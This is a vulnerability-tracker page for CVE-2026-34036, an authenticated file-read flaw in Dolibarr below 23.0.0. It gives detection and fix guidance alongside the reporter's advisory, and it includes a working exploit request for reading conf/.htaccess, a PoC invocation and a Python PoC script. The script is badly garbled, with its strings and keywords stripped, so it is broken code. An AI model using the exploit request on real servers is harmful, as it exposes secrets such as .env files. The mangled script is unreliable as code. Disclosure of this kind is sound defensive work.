Live › vulnerability › CVE-2026-34036
Go to dashboardThe AJAX endpoint /core/ajax/selectobject.php includes a file named in the objectdesc parameter before access checks run, and a fail-open check in restrictedArea() lets it return with HTTP 200. Any authenticated user with no special permissions can read text files such as .env or .htaccess from the server.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 14:31 UTC, 0h before NVD. All times on this page are UTC.
Any Dolibarr installation below 23.0.0 where users have a login account, since the flaw needs only an authenticated session with no specific permissions. Installations where all accounts are fully trusted staff carry less practical risk, but the exposure is still real for any account. Sources do not describe a non-default configuration requirement.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| dolibarr/dolibarr | composer | < 23.0.0 | 23.0.0 |
| dolibarr erp\/crm | vendor | <= 22.0.4 | – |
composer show dolibarr/dolibarr or the version shown in Dolibarr's About page; affected if below 23.0.0.grep -n dol_include_once htdocs/core/ajax/selectobject.php (path depends on install layout); the report cites line 71 and line 102.23.0.0 or later.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Dolibarr Core (Tested on version 22.0.4)
A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint /core/ajax/selectobject.php. By manipulating the objectdesc parameter and exploiting a fail-open logic flaw in the core access control function restrictedArea(), an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as .env, .htaccess, configuration backups, or logs…).
The vulnerability is caused by a critical design flaw in /core/ajax/selectobject.php where dynamic file inclusion occurs before any access control checks are performed, combined with a fail-open logic in the core ACL function.
objectdesc parameter into a $classpath. If fetchObjectByElement fails (e.g., by providing a fake class like A:conf/.htaccess:0), the application falls back to dol_include_once($classpath) at line 71. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens before the application checks any user permissions.restrictedArea(). Because the object creation failed, the $features parameter sent to restrictedArea() is empty (''). Inside security.lib.php, if the $features parameter is empty, the access check block is completely skipped, leaving the $readok variable at 1. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like .htaccess, .env, .json, .sql) are dumped into the HTTP response before the application crashes.
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0
conf/.htaccess file will be reflected in the response body right before the PHP Fatal Error message.python3 poc.py --url http://target.com --username '<username>' --password '<password>' --file conf/.htaccess
An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (.env), infrastructure configurations (.htaccess), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.
$classpath must be strictly validated or whitelisted before being passed to dol_include_once().restrictedArea() in core/lib/security.lib.php so that if the $features parameter is empty, access is explicitly denied ($readok = 0) instead of allowed by default.The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.
Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.
Thank you for the time and commitment to securing Dolibarr.
Best Regards, Vincent KHAYAT (cnf409)
https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844
#!/usr/bin/env python3
"""Dolibarr selectobject.php authenticated LFI PoC"""
import argparse
import html
import re
import urllib.error
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
LOGIN_MARKERS = ("Login @", "Identifiant @")
LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")
def request(
opener, base_url, method, path, params=None, data=None, timeout=15
):
url = f"{base_url.rstrip('/')}{path}"
if params:
url = f"{url}?{urllib.parse.urlencode(params)}"
payload = urllib.parse.urlencode(data).encode("utf-8") if data else None
req = urllib.request.Request(url, method=method.upper(), data=payload)
req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr")
req.add_header("Accept", "text/html,application/xhtml+xml")
try:
with opener.open(req, timeout=timeout) as resp:
return resp.status, resp.read().decode("utf-8", errors=)
urllib.error.HTTPError err:
err.code, err.read().decode(, errors=)
():
pattern (
,
,
):
= re.search(pattern, page, flags=re.IGNORECASE)
:
.group()
():
(marker body marker LOGOUT_MARKERS)
():
marker (
,
,
,
,
):
pos = body.find(marker)
pos != -:
body[:pos].rstrip()
body.rstrip()
():
code, login_page = request(opener, base_url, , )
code >= :
,
token = extract_login_token(login_page)
code, after_login = request(
opener,
base_url,
,
,
data={
: token,
: ,
: ,
: username,
: password,
},
)
code >= :
,
looks_authenticated(after_login):
,
code, home = request(opener, base_url, , )
code < looks_authenticated(home):
,
,
():
status, body = request(
opener,
base_url,
,
,
params={
: ,
: ,
: ,
},
)
(marker body marker LOGIN_MARKERS) looks_authenticated(body):
RuntimeError()
status, body, clean_included_output(body)
():
parser = argparse.ArgumentParser(
description=
)
parser.add_argument(
,
default=,
=,
)
parser.add_argument(, required=, =)
parser.add_argument(, required=, =)
parser.add_argument(
,
dest=This page as .md · .json · in your agent: get_signal("CVE-2026-34036")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.